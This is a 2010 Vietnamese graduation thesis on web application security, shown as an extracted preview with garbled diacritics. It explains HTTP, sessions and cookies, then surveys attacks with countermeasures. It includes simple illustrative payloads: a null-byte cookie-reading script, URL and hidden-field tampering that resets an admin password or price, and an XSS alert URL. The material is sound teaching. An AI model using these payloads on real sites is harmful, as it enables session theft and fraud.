Tải bản đầy đủ (.pdf) (36 trang)

Nghiên cứu một số vấn đề bảo mật ứng dụng web

Bạn đang xem bản rút gọn của tài liệu. Xem và tải ngay bản đầy đủ của tài liệu tại đây (956.38 KB, 36 trang )

Tr-ờng đại học vinh
Khoa công nghệ thông tin

Trần văn quế

Nghiên cứu một số vấn đề bảo mật ứng dụng web

đồ án tốt nghiệp đại học
kỹ s- công nghệ thông tin

Vinh - 2010


Đồ án tốt nghiệp

Nghiên cứu một số vấn đề bảo mật ứng dụng web
Lời nói đầu

Trong công cuộc đổi mới kh«ng ngõng cđa khoa häc kü tht c«ng nghƯ,
nhiỊu lÜnh vực đà và đang phát triển v-ợt bậc đặc biệt là lĩnh vực công nghệ
thông tin. Mạng máy tính đ-ợc hình thành từ nhu cầu muốn chia sẻ tài nguyên
và dùng chung nguồn dữ liệu. Nếu không có hệ thống mạng, dữ liệu phải đ-ợc in
ra giấy thì ng-ời khác mới có thể hiệu chỉnh và sử dụng đ-ợc hoặc chỉ có thể sao
chép lên thiết bị l-u trữ khác do đó tốn nhiều thời gian và công sức.
Khi ng-ời làm việc ở môi tr-ờng độc lập mà nối máy tính của mình với máy
tính của nhiều ng-ời khác, thì ta có thể sử dụng trên các máy tính khác và cả
máy in. Mạng máy tính đ-ợc các tổ chức sử dụng chủ yếu để chia sẻ, dùng
chung tài nguyên vµ cho phÐp giao tiÕp trùc tun bao gåm gưi và nhận thông
điệp hay th- điện tử, giao dịch, th-ơng mại điện tử, tìm kiếm thông tin trên
mạng. Chính vì những vai trò rất quan trọng của mạng máy tính với nhu cầu của
cuộc sống con ng-ời, bằng những kiến thức đà đ-ợc học ở tr-ờng chúng em đÃ


chọn đồ án: Nghiên cứu một số vấn đề bảo mật Web. Với nội dung chính đ-ợc
đề cập và nghiên cứu trên mô hình mạng LAN (Local Area Network mạng
nội bộ) và quản trị th- điện tử nội bộ với phần mỊm Microsoft Exchange Server
2003.
Do thêi gian vµ kiÕn thøc cã hạn nên bài viết còn hạn chế, rất mong đ-ợc sự
góp ý của các Thầy Cô giáo và em xin chân thành cảm ơn thầy giáo TS: Nguyễn
Trung Hoà đà tận tình giúp đỡ để em hoàn thành đồ án này.
Xin trân trọng cảm ơn!

Sinh viên thực hiện:

Trần Văn Quế

2


Đồ án tốt nghiệp

Nghiên cứu một số vấn đề bảo mật ứng dụng web

Nghiên cứu một số vấn đề về bảo mật ứng dụng web
Nh- ta đà biết hiện nay, khái niệm mạng toàn cầu - Internet không còn mới
mẻ. Nó đà trở nên phổ biến tới mức không cần phải chú giải gì thêm trong những
tạp chí kỹ thuật, còn trên những tạp chí khác thì tràn ngập những bài viết dài,
ngắn về Internet. Khi những tạp chí thông th-ờng chú trọng vào Internet thì giờ
đây, những tạp chí kỹ thuật lại tập trung vào khía cạnh khác: an toàn thông tin.
Đó cùng là một quá trình tiến triển hợp logic: khi những vui thích ban đầu về
một siêu xa lộ thông tin, bạn nhất định nhận thấy rằng không chỉ cho phép bạn
truy nhập vào nhiều nơi trên thế giới, Internet còn cho phép nhiều ng-ời không
mời mà tự ý ghé thăm máy tính của bạn.

Thực vậy, Internet cã nh÷ng kü tht tut vêi cho phÐp mäi ng-êi truy nhập,
khai thác, chia sẻ thông tin. Nh-ng nó cũng là nguy cơ chính dẫn đến thông tin
của bạn bị h- hỏng hoặc phá huỷ hoàn toàn.
Theo số liệu của CERT(Computer Emegency Response Team - Đội cấp cứu
máy tính ), số l-ợng các vụ tấn công trên Internet đ-ợc thông báo cho tổ chức
này là ít hơn 200 vào năm 1989, khoảng 400 vào năm 1991, 1400 vào năm 1993,
và 2241 vào năm 1994. Những vụ tấn công này nhằm vào tất cả các máy tính có
mặt trên Internet, các máy tính của tất cả các công ty lớn nh- AT&T, IBM, các
tr-ờng đại học, các cơ quan nhà n-ớc, các tổ chức quân sự, nhà băng... Một số vơ
tÊn c«ng cã quy m« khỉng lå (cã tíi 100.000 máy tính bị tấn công). Hơn nữa,
những con số này chỉ là phần nổi của tảng băng. Một phần rất lớn các vụ tấn
công không đ-ợc thông báo, vì nhiều lý do, trong đó có thể kể đến nỗi lo bị mất
uy tín, hoặc đơn giản những ng-ời quản trị hệ thống không hề hay biết những
cuộc tấn công nhằm vào hệ thống của họ.

Sinh viên thực hiện:

Trần Văn Quế

3


Đồ án tốt nghiệp

Nghiên cứu một số vấn đề bảo mật ứng dụng web

CHƯƠNG 1. GIớI THIệU ứNG DụNG WEB
1. Khái niệm ứng dụng Web (Web Application)
ứng dụng Web là một ứng dụng chủ/khách sử dụng giao thức HTTP để t-ơng
tác với ng-ời dùng hay hệ thống khác.

Trình khách dành cho ng-ời sử dụng th-ờng là một trình duyệt web nh- IE,
Netcape Navigator. Ng-ời dùng gửi và nhận các thông tin từ trình chủ thông qua
việc tác động vào các trang web. Các ch-ơng trình có thể là các trang thông tin,
trao đổi mua bán, các diễn đàn, gửi nhận email.
Tốc độ phát triển của các ứng dụng web rất nhanh, ngày nay Web th-ờng đ-ợc
viết bằng các ngôn ngữ Java hay các ngôn ngữ t-ơng tự và chạy trên máy chủ
phân tán, kết nối đến nhiều nguồn dữ liệu.
Một øng dơng web th-êng cã kiÕn tróc gåm:

- Líp tr×nh bày: Lớp có nhiệm vụ hiển thị dữ liệu cho ng-ời dùng, ngoài ra
còn có thể có thêm các ứng dơng t¹o bè cơc cho trang web.
- Líp øng dơng: là nơi xử lý của ứng dụng web, nó sẽ xử lý thông tin ng-ời
dùng yêu cầu, đ-a ra quyết định, gửi kết quả đến lớp trình bày. lớp này
th-ờng đ-ợc cài đặt bằng các ngôn ngữ Java, NET, ASP, PHP đ-ợc triển
khai trên các trình chủ nh- IBM, Apache,IIS.
- Lớp dữ liệu: th-ờng là các hệ quản trị cơ sở dữ liệu(DBMS) chịu trách
nhiệm quản lý các file dữ liệu và quyền sử dụng.
Mô hình hoá của một ứng dụng web.

Sinh viên thực hiện:

Trần Văn Quế

4


Đồ án tốt nghiệp

Nghiên cứu một số vấn đề bảo mật ứng dụng web


Trong đó:
- Trình khách( hay còn gọi là trình duyệt): IE, NN..
- Trình chủ: Apache, IIS
- Hệ quản trị cơ sở dữ liệu: SQL server, My SQL, DB2, Access
2. Mô tả hoạt động của một ứng dụng web
Đầu tiên trình duyệt sẽ gửi một yêu cầu đến trình chủ web thông qua các lệnh
cơ bản GET, POSTcủa giao thức HTTP, trình chủ lúc này có thể cho thực thi
một ch-ơng trình đ-ợc xây dựng từ nhiều ngôn ngữ khác nhau hoặc trình chủ
yêu cầu bộ diễn dịch thực thi các trang ASP, PHP theo yêu cầu của trình khách.
Tuỳ theo các tác vụ của ch-ơng trình đ-ợc cài đặt mà nó xử lý, tính toán kết nối
đến cơ sở dữ liệu, l-u thông tin do trình khách gửi đếnvà từ đó trả về cho trình
khách 1 luồng dữ liệu có định dạng theo giao thức HTTP nó gồm 2 phần:
- Header mô tả các thông tin về gói dữ liệu và các thuộc tính, trạng thái trao
đổi giữa trình duyệt và Webserver.
- Body là phần nội dung dữ liệu mà server gửi về client, nó có thể là một
file HTML, một hình ảnh, một đoạn phim hay một trang tài liệu.
3. Các vấn đề về bảo mật Web
Mặc dù không thể phủ nhận những cải tiến nâng cao đáng kể hiện nay, nhvấn đề bảo mật trong ứng dụng Web vẫn không ngừng tăng lên. Nguyên nhân có
thể xuất phát từ các đoạn mà không phù hợp. Nhiều điểm yếu nghiêm trọng hay
các lỗ hổng cho phép hacker xâm nhập thẳng và truy cập vào cơ sở dữ liệu tách
lấy dữ liệu nhạy cảm. Nhiều cơ sở dữ liệu chứa thông tin giá trị (nh- chi tiết cá
Sinh viên thực hiện:

Trần Văn Quế

5


Đồ án tốt nghiệp
Nghiên cứu một số vấn đề bảo mật ứng dụng web

nhân, thông tin tài chính) khiến chúng trở thành đích nhắm th-ờng xuyên của
hầu hết hacker.
Một cuộc nghiên cứu gần đây chỉ ra rằng 75% các cuộc tấn công mạng đ-ợc
thực hiện ở mức ứng dụng Web.
Website và các ứng dụng Web liên quan luôn phải sẵn sàng 24/7 để cung cấp
dịch vụ theo yêu cầu khách hàng, yêu cầu từ phía nhân viên, nhà cung cấp và
nhiều ng-ời liên quan khác.
T-ờng lửa, SLL không thể bảo vệ ứng dụng Web tr-ớc mọi hoạt động
hacking, đơn giản vì truy cập vào Website phải để ở chÕ ®é public ®Ĩ bÊt kú
ai cịng cã thĨ ghÐ thăm Website đ-ợc. Tất cả hệ thống cơ sở dữ liệu hiện đại
(nh- Microsoft SQL Server, Oracle, MySQL) đều có thĨ truy cËp qua mét sè
cỉng cơ thĨ (nh- cỉng 80, 433). Nếu muốn, một ng-ời nào đó có thể kết nối
trực tiếp tới cơ sở dữ liệu một cách hiện quả khi v-ợt qua cơ chế bảo mật của
hệ điều hành. Các cổng này để mở nhằm cho phép liên lạc với hoạt động giao
thông mạng hợp pháp, và do đó cũng hình thành nên lỗ hổng lớn nguy hiểm.
Các ứng dụng Web th-ờng truy cập dữ liệu cuối nh- cơ sở dữ liệu khách
hàng, điểu khiển dữ liệu có giá trị và do đó rất khó để có thể tuyệt đối an
toàn.
Hầu hết ứng dụng Web đều là tự tạo, do đó ít có đ-ợc các kiểm tra trình độ
hơn so với các phần mềm cùng loại. Do đó các ứng dụng tùy biến th-ờng dễ
bị tấn công hơn.
Có thể nói ứng dụng Web là một cổng vào (gateway) của cơ sở dữ liệu, nhất là
các ứng dụng tùy biến. Chúng không đ-ợc phát triển với mức bảo mật tốt nhất vì
không phải qua các kiểm tra bảo mật thông th-ờng.

Sinh viên thực hiện:

Trần Văn Quế

6



Đồ án tốt nghiệp

Nghiên cứu một số vấn đề bảo mật ứng dụng web

CHƯƠNG 2. GIớI THIệU SƠ LƯợC Về CáC Kỹ THUậT TấN CÔNG
ứNG DụNG WEB
1. CáC KHáI NIệM THUậT NGữ LIÊN QUAN
1.1. Hacker
Hacker là một thuật ngữ dùng để chuyên chỉ những kẻ phá hoại các hệ thống
mạngHacker th-ờng là những chuyên gia về máy tính. Hacker không tạo ra các
kẽ hở cho hệ thống, nh-ng hacker lại là những ng-ời am hiểu về hệ điều hành,
hệ quản trị cơ sở dữ liệu, các ngôn ngữ lập trìnhHọ sử dụng kiến thức của mình
trong việc tìm tòi và khai thác các lỗ hổng của hệ thống mạng. Một số hacker chỉ
dừng lại ở việc phát hiện và thông báo lỗi tìm đ-ợc cho những nhà bảo mật hay
ng-ời phát triển ch-ơng trình, họ đ-ợc xem nh- là WhiteHat (Hacker nón trắng).
Một số hacker dựa vào những lỗ hổng thực hiện việc khai thác trái phép nhằm
mục đích phá hoại hay m-u lợi riêng, những ng-ời này bị xem nh- là BlackHat(
Hacker nón đen).
Vì tính chất phổ biến của thuật ngữ hacker, nên trong phần trình bày, sẽ sử
dụng hacker thay cho kẻ tấn công .
1.2. HTTP Header
HTTP Header là phần đầu (header) của thông tin mà trình khách và trình chủ
gửi cho nhau. Những thông tin trình khách gửi cho trình chủ đ-ợc gọi là HTTP
requests (yêu cầu) còn trình chủ gửi cho trình khách là HTTP responses (trả lời).
Thông th-ờng, một HTTP header gồm nhiều dòng, mỗi dòng chứa tên tham số
và giá trị. Một số tham số có thể đ-ợc dùng trong cả header yêu cầu và header
trả lời, một số khác thì chỉ đ-ợc dùng riêng trong từng loại. Ví dụ:
Header yêu cầu:

Get /tintuc/homnay.asp HTTP/1.1
Accept: */*
Accept-Language: en-us
Connection: Keep-Alive
Host: localhost
Referer: http://localhost/lienket.asp
Sinh viên thực hiện:

Trần Văn Quế

7


Đồ án tốt nghiệp
Nghiên cứu một số vấn đề bảo mËt øng dông web
User-Agent: Mozilla/4.0 {compatible: MSIE 5.5; Windows NT 5.0}
Accept-Encoding: gzip, deflate
o Dòng đầu là dòng yêu cầu cho biết ph-ơng thức yêu cầu (GET hoặc
POST), địa chỉ yêu cầu (/tintuc/homnay.asp) và phiên bản HTTP
(HTTP/1.1)
o Tiếp theo là các tham số. Chẳng hạn nh-:
Accept-Language: Cho biết ngôn ngữ dùng trong trang web.
Host: Cho biết địa chỉ máy chủ.
Referer: Cho biết địa chỉ của trang web tham chiÕu tíi.
o Header cđa HTTP request sÏ kÕt thóc b»ng một dòng trống.
Header trả lời:
HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Thu, 13 Jul 2000 05:46:53 GMT
Content-Length: 2291

Content-Type: text/html
Set-cookie:
ASPSESSIONIDQQGGGNCC=LKLDFFKCINFLDMFHCBCBMFLJ;
Path=/
Cache-control: private
<HTML>
<BODY>

o Dòng đầu là dòng trạng thái để cho biết phiên bản HTTP đ-ợc dùng
(HTTP/1.1), mà trạng thái (200) và trạng thái (OK).
o Tiếp theo là các tham số.
o Tiếp theo là một dòng trống để báo hiệu kết thúc header, tiếp theo là
phần thân của HTTP response.

Sinh viên thực hiện:

Trần Văn Quế

8


Đồ án tốt nghiệp
1.3. Session

Nghiên cứu một số vấn đề bảo mật ứng dụng web

HTTP là giao thức h-ớng đối t-ợng tổng quát, phi trạng thái, nghĩa là HTTP
không l-u trữ trạng thái làm việc giữa trình duyệt với trình chủ. Sự thiếu sót này
gây khó khăn cho một số ứng dụng Web, bởi vì trình chủ không biết đ-ợc tr-ớc
đó trình duyệt đà có những trạng thái nào. Vì thế, để giải quyết vấn đề này, ứng

dụng Web đ-a ra một khái niệm phiên làm việc (Session). Còn SessionID là một
chuỗi để chứng thực phiên làm việc. Một số tr×nh chđ sÏ cung cÊp mét SessionID
cho ng-êi dïng khi họ xem trang web trên trình chủ.
Để duy trì phiên làm việc thì sessionID th-ờng đ-ợc l-u vào:
Biến trên URL
Biến ẩn Form
Cookie.
1.4. Cookie
Cookie là những phần dữ liệu nhỏ có cấu trúc đ-ợc chia sẻ giữa website và
browser của ng-ời dùng. Cookies đ-ợc l-u trữ d-ới những file dữ liệu nhỏ dạng
text (size d-ới 4k). Chúng đ-ợc các site tạo ra để l-u trữ/truy tìm/nhận biết các
thông tin về ng-ời dùng đà ghé thăm site và những vùng họ đi qua trong site.
Những thông tin này có thể bao gồm tên/định danh ng-ời dùng, mật khẩu, sở
thích, thói quenCookie đ-ợc browser của ng-ời dùng chấp nhận l-u trên đĩa
cứng của máy mình, không phải browser nào cũng hỗ trợ cookie. Sau một lần
truy cập vào site, những thông tin về ng-ời dùng đ-ợc l-u trữ trong cookie. ở
những lần truy cập sau đến site đó, web site có thể dùng lại những thông tin
trong cookie (nh- thông tin liên quan đến việc đăng nhập vào 1 forum) mà
ng-ời sử dụng không phải làm lại thao tác đăng nhập hay phải nhập lại các thông
tin khác. Vấn đề đặt ra là có nhiều site quản lý việc dùng lại các thông tin trong
cookie không chính xác, kiểm tra không đầy đủ hoặc mà hóa các thông tin trong
cookie còn sơ hở giúp cho hacker khai thác để v-ợt qua cách cửa đăng nhập,
đoạt quyền điều khiển site.
Cookies th-ờng có các thành phần sau :
+ Tên: do ng-ời lập trình web site chọn
+ Domain: là tên miền từ server mà cookie đ-ợc tạo và gửi đi
Sinh viên thực hiện:

Trần Văn Quế


9


Đồ án tốt nghiệp
Nghiên cứu một số vấn đề bảo mật ứng dụng web
+ Đ-ờng dẫn: thông tin về đ-ờng dẫn ở web site mà bạn đang xem
+ Ngày hết hạn: là thời điểm mà cookie hết hiệu lực .
+ Bảo mật: Nếu giá trị này đựơc thiết lập bên trong cookie, thông tin sẽ đựơc mÃ
hoá trong quá trình truyền giữa server và browser.
+ Các giá trị khác: là những dữ liệu đặc tr-ng đ-ợc web server l-u trữ để nhận
dạng về sau các giá trị này ko chứa các khoảng trắng, dấu chấm, phẩy và bị giới
hạn trong kho¶ng 4k.
1.5. Proxy
Proxy cung cÊp cho ng-êi sư dơng truy xuất Internet những nghi thức đặc biệt
hoặc một tập những nghi thức thực thi trên dual_homed host hoặc bassion host.
Những ch-ơng trình client của ng-ời sử dụng sẽ qua trung gian proxy server thay
thÕ cho server thËt sù mµ ng-êi sử dụng cần giao tiếp.
Proxy server xác định những yêu cầu từ client và quyết định đáp ứng hay
không đáp ứng, nếu yêu cầu đ-ợc đáp ứng, proxy server sẽ kÕt nèi víi server thËt
thay cho client vµ tiÕp tơc chuyển tiếp những yêu cầu từ client đến server, cũng
nh- trả lời của server đến client. Vì vậy proxy server giống cầu nối trung gian
giữa server và client.
2. GIớI THIệU SƠ LƯợC CáC Kỹ THUậT TấN CÔNG
Sau đây là các khái niệm sơ l-ợc các kĩ thuật tấn công ứng dụng Web đà đ-ợc
phân loại dựa trên mức độ gây tác hại đối với ứng dụng.
2.1. Kiểm soát truy cập web (Web access control)
Th©m nhËp hƯ thèng qua cưa sau (Back door)
Trong quá trình thiết kế ứng dụng, những ng-ời phát triển ứng dụng có thể cài
một cửa sau (back door) để sau này có thể thâm nhập vào hệ thống một cách
dễ dàng.

2.2. Chiếm hữu phiên làm viêc
ấn định phiên làm việc (Session Fixation)
Là kĩ thuật tấn công cho phép hacker mạo danh ng-ời dùng hợp lệ bằng
cách gửi một session ID hợp lệ đến ng-ời dùng, sau khi ng-ời dùng đăng
nhập vào hệ thống thành công, hacker sẽ dùng lại session ID đó và nghiễm
nhiên trở thành ng-ời dùng hợp lệ
Sinh viên thực hiện:

Trần Văn Quế

10


Đồ án tốt nghiệp
Nghiên cứu một số vấn đề bảo mật ứng dụng web
Đánh cắp phiên làm việc (Session Hijacking)
Là kĩ thuật tấn công cho phép hacker mạo danh ng-ời dùng hợp lệ sau khi
nạn nhân đà đăng nhập vào hệ thống bằng cách giải mà session ID của họ
đ-ợc l-u trữ trong cookie hay tham số URL, biến ẩn của form.
2.3. Lợi dụng các thiếu sót trong việc kiểm tra dữ liệu nhập hợp lệ (Input
validation)
Hacker lợi dụng những ô nhập dữ liệu để gửi đi một đoạn mà bất kì khiến cho
hệ thống phải thực thi đoạn lệnh đó hay bị phá vỡ hoàn toàn.
Kiểm tra tính đúng đắn của dữ liệu bằng ngôn ngữ phía trình duyệt
(Client-side validation)
Do ngôn ngữ phía trình duyệt (JavaScript, VBScrip) đ-ợc thực thi trên
trình duyệt nên hacker có thể sửa ®ỉi m· ngn ®Ĩ cã thĨ v« hiƯu hãa sù
kiĨm tra
Tràn bộ đệm (Buffer OverFlow)
Một khối l-ợng dữ liệu đ-ợc gửi cho ứng dụng v-ợt quá l-ợng dữ liệu

đ-ợc cấp phát khiến cho ứng dụng không thực thi đ-ợc câu lệnh dự định
kế tiếp mà thay vào đó phải thực thi một đoạn mà bất kì do hacker đ-a vào
hệ thống. Nghiêm trọng hơn nếu ứng dụng đ-ợc cấu hình để thực thi với
quyền root trên hệ thống.
MÃ hóa URL (URL Encoding)
Lợi dụng chuẩn mà hóa những kí tự đặc biệt trên URL mà hacker sẽ mÃ
hóa tự động những kí tực bất hợp lệ - những kí tự bị kiểm tra bằng ngôn
ngữ kịch bản để v-ợt qua vòng kiểm soát này.
Kí tự Meta (Meta-characters)
Sử dụng những kí tự đặc biệt hacker có thể chèn thêm vào dữ liệu gửi
những kí tự trong chuỗi câu lệnh nh- <script> trong kÜ tht XSS, trong
SQL injection…®Ĩ thùc thi c©u lƯnh.
 ChÌn c©u truy vÊn SQL (SQL Injection)
Trong lËp trình với cơ sở dữ liệu, ng-ời lập trình đà sai sót trong vấn đề
kiểm tra giá trị nhập vào để từ đó hacker lợi dụng thêm vào những câu
truy vấn hay những giá trị không hợp lệ để đăng nhập vào hệ thống.
Sinh viên thực hiện:

Trần Văn Quế

11


Đồ án tốt nghiệp
Nghiên cứu một số vấn đề bảo mật ứng dụng web
Ngôn ngữ phía máy chủ (Server side includes)
Là khả năng thêm vào những câu lệnh thuộc hƯ thèng nh- nhóng file
(include file), truy xt c¬ së dữ liệukhiến cho hacker có cơ hội truy
xuất đến file, cơ sở dữ liệumà bình th-ờng không thể xem đ-ợc trên
website.

Kí tự rỗng (Null characters)
Lợi dụng chuỗi kí tự th-ờng kết thúc bằng \0 mà hacker th-ờng thêm vào
để đánh lừa ứng dụng vì với những ứng dụng sử dụng ch-ơng trình CGI
nh- C++ thì C++ cho rằng \0 là dấu kết thúc chuỗi.
Ví dụ: Hacker thêm chuỗi sau:
Ô nhập: . \0<script>alert(document.cookie)</script>
Nếu ứng dụng sử dụng ch-ơng trình C++ để kiểm tra tính đúng đắn của
chuỗi thì chuỗi trên hợp lệ do C++ sẽ nhận biết \0 là kết thúc chuỗi nên
không kiểm tra đoạn sau
Thao tác trên tham số truyền (Parameter manipulation)
Những thông tin trao đổi giữa trình chủ và trình duyệt đ-ợc l-u trữ trong
những biến nh- biến trên URL, biến ẩn form, cookieBởi vì việc kiểm
soát biến ch-a đ-ợc quan tâm đúng mức nên hacker có thể lợi dụng sửa
đổi giá trị biến để đánh cắp phiên làm việc của ng-ời dùng hay thay đổi
giá trị một món hàng
2.4. Để lộ thông tin
Những tập tin và ứng dụng trên hệ thống chứa những thông tin quan träng nhm· nguån mét trang Web hay tËp tin chứa mật khẩu của ng-ời dùng trên hệ
thống luôn là mục tiêu của hacker. Ngoài ra những lời chú thích trong mà nguồn
cũng là nguồn thông tin hữu ích cho hacker.
Hacker sư dơng tr¶ lêi HTTP tõ hƯ thèng để xác định một tập tin hay ứng
dụng có tồn tại hay không.
Ví dụ:
.HTTP 200: Tập tin tồn tại
.HTTP 404: Tập tin không tồn tại

Sinh viên thực hiện:

Trần Văn Quế

12



Đồ án tốt nghiệp
Nghiên cứu một số vấn đề bảo mËt øng dơng web
2.5. Tõ chèi dÞch vơ (Denial of service DoS)
Tấn công kiểu DoS là kiểu tấn công làm cho các dịch vụ mạng bị tê liệt,
không còn khả năng đáp ứng yêu cầu nữa. Loại tấn công này ảnh h-ởng đến
nhiều hệ thống, rất dễ thực hiện và lại rất khỏ bảo vệ hệ thống khỏi yêu cấu tấn
công DoS.

Sinh viên thực hiện:

Trần Văn Quế

13


Đồ án tốt nghiệp

Nghiên cứu một số vấn đề bảo mật ứng dụng web

CHƯƠNG 3. MộT Số Kĩ THUậT TấN CÔNG ứNG DụNG WEB
1. THAO TáC TRÊN THAM Số TRUYềN
Thao tác trên tham số truyền là kĩ thuật thay đổi thông tin quan trọng trên
cookie, URL hay biến ẩn của form. KÜ tht Cross-Site Scripting, SessionID,
SQL Injection, Buffer Overflow…cịng cÇn dùng đến các tham số này để hoàn
thiện các b-ớc tÊn c«ng cđa hacker. Cã thĨ nãi tham sè trun là đầu mối cho
mọi hoạt động của hacker trong quá trình tấn công ứng dụng.
1.1. Thao tác trên URL
1.1.1 Khái niệm:

Khi nhập một form HTML thì kết quả sẽ đ-ợc gửi đi theo hai cách: GET hay
POST. Nếu dùng GET, thì tất cả các tên biến và giá trị của nó sẽ xuất hiện trong
chuỗi URL.
Ví dụ: Có một trang web ứng dụng cho phép thành viên đà đ-ợc thay đổi mật
khẩu.
/>Với: Username là tên ng-ời cần thay đổi mật khẩu.
Newpass là mật khẩu mới cho username
Tuy nhiên, bằng cách thay ®ỉi tham sè nh- sau:
/>Hacker ®· cã thĨ thay ®ỉi mËt khÈu cđa admin b»ng mét mËt khÈu míi bất kì,
trong ví dụ này là 111111
1.1.2 Một số biện pháp khắc phục
Để chống lại kiểu thay đổi nội dung chuỗi URL, ứng dụng có thể áp dụng
biện pháp sau:
ứng dụng sử dụng cơ chế bảng băm (hash table). Sau khi ng-ời dùng
chứng thực thành công với một username, øng dơng sÏ sinh ra mét khãa
t-¬ng øng. Khãa này sẽ l-u trên server cùng với biến username trong đối
t-ợng bảng băm. Mỗi khi nguời dùng kết nối đến ứng dụng, khóa và
username này sẽ đ-ợc gửi đi và đ-ợc so sánh với khóa username trong
Sinh viên thực hiện:

Trần Văn Quế

14


Đồ án tốt nghiệp
Nghiên cứu một số vấn đề bảo mật ứng dụng web
bảng băm. Nếu t-ơng ứng với bản ghi trong dữ liệu thì hợp lệ. Còn nếu
không thì server biết rằng ng-ời dùng đà thay đổi URL.
Ngoài ra, với những thông tin có giá trị, cần mà hóa thông tin này tr-ớc

khi cho hiển thị trên trình duyệt để tránh hacker có thể sửa đổi tùy ý.
1.2. Thao tác trên biến ẩn form
1.2.1 Khái niệm
Thông tin có thể đ-ợc chuyển đổi thông qua một biến ẩn form, gọi là Hidden
Form Field. Biến bẩn form không hiển thị trên màn hình trình duyệt nh-ng ng-ời
dùng có thể tìm thÊy néi dung cña nã trong “ view source” , vì thế đây là một
điểm yếu để hacker lợi dụng bằng cách l-u nội dung trang web xuống trình
duyệt, thay đổi nội dung trang và gửi đến trình chủ.
Ví dụ: Form gèc cã néi dung nh- sau:

<form action= method=”POST”>
<input type=”hiden” name=giaca value=99.99>
</form>
Nếu không có sự thay đổi nào thì yêu cầu đến trình chủ có nội dung:
POST /cuahang.p1 HTTP/1.1
.......
Giaca=99.99
Nh-ng nếu hacker gán một giá trị khác cho tr-ờng giaca :
<form action= method=POST>

<input type=hiden name=giaca value=0.99>

</form>
Thì yêu cầu sẽ thay đổi:
POST /cuahang.p1 HTTP/1.1

Giaca=0.99

Sinh viên thực hiện:


Trần Văn Quế

15


Đồ án tốt nghiệp
Nghiên cứu một số vấn đề bảo mật ứng dụng web
Ngoài việc thay đổi nội dung biến ẩn của form, hacker còn biến đổi nội dung
các thành phần trong form, nh- chiều dài của một ô nhập dữ liệu để thực hiện
việc tấn công BUFFER OVERFLOW ,
1.2.2 Một số biện pháp khắc phục
Chỉ nên sử dụng biến ẩn của form để hiện thị dữ liệu trên trình duyệt,
không đ-ợc sử dụng giá trị của biến ®Ĩ thao t¸c trong xư lÝ øng dơng.
 Dïng biÕn HTTP_REFERER để kiểm tra nguồn gốc của yêu cầu gửi ®Õn,
tuy nhiªn hacker cã thĨ sư dơng Proxy ®Ĩ che dấu nguồn gốc thực của nó,
vì vậy cũng không nên quá tin t-ởng vào biến HTTP_REFERER để kiểm
tra.
Ghép tên và giá trị của biến ẩn thành một chuỗi đơn. Sử dụng thuật toán
mà hóa MD5 hoặc một kiểu hash một chiều khác để tổng hợp chuỗi đó và
l-u nó vào một hidden field gọi là Chuỗi mẫu .
Khi giá trị trong form đ-ợc gửi đi, các thao tác nh- trên đ-ợc thực hiện lại
với cùng một khóa mà ta định tr-ớc. Sau đó đem so sánh với Chuỗi
mẫu , nếu chũng không khớp nhau thì chứng tỏ giá trị trong biểu mẫu đÃ
bị thay đổi.
Dùng một sessionID để tham chiếu đến thông tin đ-ợc l-u trữ trên cơ sở
dữ liệu.
2. CHèN MÃ LệNH THựC THI TRÊN TRìNH DUYệT NạN NHÂN
(CROSS-SITE SCRIPTING)
2.1. Cross-Site Scripting (XSS)
Là một trong những kĩ thuật tấn công phổ biến nhất hiên nay, đồng thời nó

cũng là một trong những vấn đề bảo mật quan trọng đối với các nhà phát triển
web và cả những ng-ời sử dụng web. Bất kì một website nào cho phép ng-ời sử
dụng đăng thông tin mà không có sự kiểm tra chặt chẽ các đoạn mà nguy hiểm
thì đều có thể tiềm ẩn các lỗi XSS
1. XSS là gì ?
Cross-Site Scripting hay còn đ-ợc gọi tắt là XSS (thay vì gọi tắt là CSS để
tránh nhầm lẫn víi CSS-Cascading Style Sheet cđa HTML) lµ mét kÜ tht tấn
Sinh viên thực hiện:

Trần Văn Quế

16


Đồ án tốt nghiệp
Nghiên cứu một số vấn đề bảo mật ứng dụng web
công bằng cách chèn vào các website động (ASP, PHP, CGI, JSP ...) những thẻ
HTML hay những đoạn mà script nguy hiểm có thể gây nguy hại cho những
ng-ời sử dụng khác. Trong đó, những đoạn mà nguy hiểm đựơc chèn vào hầu hết
đ-ợc viết bằng các Client-Site Script nh- JavaScript, JScript, DHTML vµ cịng cã
thĨ lµ cả các thẻ HTML.
Kĩ thuật tấn công XSS đà nhanh chóng trở thành một trong những lỗi phổ biến
nhất của Web Applications và mối đe doạ của chúng đối với ng-ời sử dụng ngày
càng lớn.
2. XSS hoạt động nh- thế nào ?
Về cơ bản XSS cũng nh- SQL Injection hay Source Injection, nó cũng là các
yêu cầu (request) đ-ợc gửi từ các máy client tới server nhằm chèn vào đó các
thông tin v-ợt quá tầm kiểm soát của server. Nó có thể là một request đ-ợc gửi
từ các form dữ liệu hoặc cũng có thể đó chỉ là các URL nh- là
Code:

/>
was

found

!')</script>

Với đoạn mà URL chèn vào nh- trên rất có thể trình duyệt của bạn sẽ hiện lên
một thông báo "XSS was found !".
Các đoạn mà trong thẻ <script> không hề bị giới hạn bởi chúng hoàn toàn có thể
thay thế bằng một file nguồn trên một server khác thông qua thuộc tính src của
thẻ <script>. Cũng chính vì lẽ đó mà chúng ta ch-a thể l-ờng hết đ-ợc độ nguy
hiểm của các lỗi XSS.
Nh-ng nếu nh- các kĩ thuật tấn công khác có thể làm thay đổi đ-ợc dữ liệu
nguồn của web server (mà nguồn, cấu trúc, cơ sở dữ liệu) thì XSS chỉ gây tổn hại
đối với website ở phía client mà nạn nhân trực tiếp là những ng-ời khách duyệt
site đó. Tất nhiên đôi khi các hacker cũng sử dụng kĩ thuật này đề deface các
website nh-ng đó vẫn chỉ tấn công vào bề mặt của website. Thật vậy, XSS là
những Client-Side Script, những đoạn mà này sẽ chỉ chạy bởi trình duyệt phía
client do đó XSS không làm ảnh h-ởng đến hệ thống website nằm trên server.
Mục tiêu tấn công của XSS không ai khác chính là những ng-ời sử dụng khác
của website, khi họ vô tình vào các trang có chứa các đoạn mà nguy hiểm do các
Sinh viên thực hiện:

Trần Văn Quế

17


Đồ án tốt nghiệp

Nghiên cứu một số vấn đề bảo mật ứng dụng web
hacker để lại họ có thể bị chuyển tới các website khác, đặt lại homepage, hay
nặng hơn là mất mật khẩu, mất cookie thậm chí máy tính bạn có thể sẽ bị cài các
loại virus, backdoor, worm ..
2.2. Tấn công XSS bằng flash
Ngoài những cách đ-a một đoạn mà nguy hiểm thì hacker còn có thể lợi dụng
những tập tin flash để đánh cắp thông tin.
